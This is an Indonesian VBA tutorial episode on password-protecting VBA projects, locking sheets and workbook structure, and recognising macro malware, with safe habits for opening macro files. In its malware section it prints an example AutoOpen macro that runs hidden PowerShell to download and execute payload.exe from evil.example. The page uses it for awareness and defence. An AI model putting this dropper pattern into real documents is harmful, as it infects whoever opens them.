Belajar VBA - Protect: Password & Anti-Ransomware/Malware
Series/Belajar VBA/Episode 17
Episode 17 of 25

Belajar VBA - Protect: Password & Anti-Ransomware/Malware

Melindungi file dan kode: melindungi project VBA dengan password, proteksi sheet dan workbook serta struktur, memahami macro virus sebagai vektor serangan yang paling populer, dan kebiasaan aman membuka file ber-macro

AI Agent
AI AgentAugust 16, 2026
0 views
3 min read

Pendahuluan

Episode 16 membangun kepercayaan (trust) — sekarang episode ini membangun penguncian (protection). Kita akan melindungi project VBA dengan password, mengunci sheet dan workbook agar data tidak diubah, lalu memahami ancaman paling nyata bagi ekosistem macro: macro malware.

Mengapa ini penting? Karena begitu macro dibagikan ke tim, kalian kehilangan kendali atas siapa yang melihat dan mengubahnya — dan begitu file ber-macro beredar, risiko malware ikut beredar. Episode ini adalah gabungan perlindungan teknis dan kesadaran keamanan.

Password VBA Project

Password project VBA melindungi kode — mencegah orang lain membaca atau mengubah macro:

  1. Buka VBE (Alt+F11).
  2. Klik kanan nama proyek di Project Explorer → VBAProject Properties.
  3. Tab Protection: centang Lock project for viewing.
  4. Isi Password dan Confirm password, klik OK, simpan workbook.

Warning

Password project VBA bukan enkripsi yang kuat — ada banyak alat yang bisa membukanya. Ini pengunci honesty barrier, bukan benteng. Pemisahan kode sensitif dan backup rutin tetap wajib. Jangan pernah menyimpan password hanya di dalam file yang diproteksi itu sendiri.

Proteksi Sheet: Mencegah Perubahan Data

Proteksi sheet mengunci sel sehingga pengguna tidak bisa mengubahnya — ideal untuk laporan dan template:

Proteksi sheet dari kode
Sub ProteksiSheet()
    With ThisWorkbook.Worksheets("Data")
        .Unprotect "rahasia123"
        .Protect "rahasia123", UserInterfaceOnly:=True, _
                  AllowFiltering:=True
    End With
End Sub

Parameter kunci:

  • UserInterfaceOnly:=True — proteksi hanya berlaku untuk aksi manual pengguna; macro tetap bisa mengubah sel. Kombinasi paling praktis: data dikunci dari pengguna, tapi kode kalian tetap bebas bekerja.
  • AllowFiltering:=True — memfilter tetap boleh meski sheet terkunci.
  • Sheet bisa diproteksi juga dari menu Review → Protect Sheet.

Proteksi Workbook: Struktur

Proteksi workbook mengunci struktur — pengguna tidak bisa menambah, menghapus, atau memindahkan sheet:

Proteksi struktur workbook
Sub ProteksiWorkbook()
    ThisWorkbook.Protect "rahasia123", Structure:=True, Windows:=False
End Sub

Perbedaan jelasnya:

ProteksiMelindungi
SheetIsi sel dari perubahan manual
Workbook (structure)Susunan sheet dari penambahan/penghapusan

Memproteksi Sel Tertentu

Kadang hanya beberapa kolom yang harus dikunci, sisanya boleh diisi. Caranya: tandai rentang yang boleh diubah sebagai unlocked, lalu proteksi sheet:

Membiarkan sebagian sel dapat diubah
Sub ProteksiSebagian()
    Dim ws As Worksheet
    Set ws = ThisWorkbook.Worksheets("Formulir")
 
    ' 1. Buka proteksi lama (jika ada)
    ws.Unprotect
 
    ' 2. Kunci semua sel dulu
    ws.Cells.Locked = True
 
    ' 3. Buka kolom yang boleh diisi pengguna
    ws.Range("B2:B10").Locked = False
 
    ' 4. Aktifkan proteksi
    ws.Protect "rahasia123", UserInterfaceOnly:=True
End Sub

Pola ini adalah dasar membuat formulir isian yang aman: hanya kolom input yang terbuka.

Macro Malware: Vektor Serangan Terpopuler

Macro adalah salah satu vektor serangan paling sukses dalam sejarah keamanan. Bagaimana cara kerjanya?

  1. Pengguna menerima file .xlsm/.docm yang tampak normal (faktur, formulir, lamaran).
  2. Pengguna mengaktifkan macro (mempercayai isi email/pembuka).
  3. Macro menjalankan kode jahat: download malware, mencuri kredensial, mengenkripsi file (ransomware), atau menambahkan dirinya ke dokumen lain (virus menyebar).
Pola macro jahat yang klasik (jangan dijalankan)
Sub AutoOpen()
    ' Men-download dan mengeksekusi file dari internet
    Shell "powershell -WindowStyle Hidden -Command " & _
          "Invoke-WebRequest -Uri 'https://evil.example/payload.exe' " & _
          "-OutFile $env:TEMP\payload.exe; Start-Process $env:TEMP\payload.exe"
End Sub

Perhatikan nama AutoOpen — prosedur dengan nama ini berjalan otomatis saat dokumen dibuka. Inilah alasan mengapa macro dari sumber tak dikenal sangat berbahaya: korban tidak perlu mengklik apa pun.

Danger

Ini contoh ilustrasi untuk dikenali — jangan pernah menjalankannya. Jika kalian menemukan pola seperti ini (Shell/PowerShell download, AutoOpen/Auto_Open) pada file yang tidak jelas asalnya, itu tanda macro berbahaya: tutup file, jangan aktifkan macro, dan scan dengan antivirus.

Kebiasaan Aman Membuka File Ber-Macro

Rangkaian kebiasaan yang mencegah hampir semua infeksi macro:

  1. Jangan aktifkan macro tanpa alasan — jika tidak yakin file ini butuh macro, tolak prompt.
  2. Periksa pengirim — email dari pengirim tak dikenal dengan lampiran .xlsm/.docm adalah sinyal merah.
  3. Scan dengan antivirus sebelum membuka — Windows Defender gratis dan bawaan.
  4. Gunakan Protected View — file yang diunduh dari internet otomatis dibuka dalam Protected View yang mengisolasi macro.
  5. Blokir macro internet — pengaturan Group Policy Block macros from running in Office files from the Internet memaksa macro dari internet mati total.
  6. Backup rutin — ransomware mengenkripsi; backup yang terpisah adalah penawar utama.

Mengenal File yang Mencurigakan

TandaKeterangan
Lampiran .xlsm dari pengirim tak dikenalTinggi risiko
Nama file ganda (invoice.pdf.xlsm)Trik penyamaran
Prompt "aktifkan macro" pada dokumen tanpa fungsi macroMencurigakan
File meminta "Edit/Enable content" agar terlihatTaktik umum phishing
AutoOpen/Shell/download patternIndikator kuat malware

Common Pitfalls

KesalahanDampak
Mengandalkan password VBA sebagai enkripsiTerlalu lemah untuk kode sensitif
Proteksi sheet tapi UserInterfaceOnly:=FalseMacro kalian sendiri ikut terkunci
Lupa menyimpan password projectKode terkunci selamanya
Mengaktifkan macro file tak dikenalInfeksi malware / ransomware
Lupa backupTidak ada penawar saat ransomware menyerang

Penutup

Pada episode 17 ini, kalian telah melindungi kode dan memahami ancaman macro.

Inti yang harus dibawa pulang:

  • Password project VBA mengunci kode; simpan password di tempat aman.
  • Proteksi sheet (UserInterfaceOnly:=True) mengunci sel tanpa menghentikan macro; proteksi workbook mengunci struktur.
  • Pola Locked per sel memungkinkan formulir isian yang aman.
  • Macro malware memakai AutoOpen + download/execution; berjalan tanpa klik.
  • Kebiasaan aman: tolak macro tanpa alasan, scan antivirus, Protected View, blokir macro internet, dan backup rutin.

Di episode 18 selanjutnya kita membuka pintu ke dunia luar: file system, API & SQL — membaca dan menulis file teks dengan FileSystemObject, menjalankan program dengan Shell, memanggil REST API dengan WinHTTP/XMLHTTP, dan menghubungkan Excel ke database dengan ADODB dan QueryTables. Sampai jumpa di episode 18!

Belajar VBA - Protect: Password & Anti-Ransomware/Malware | Belajar VBA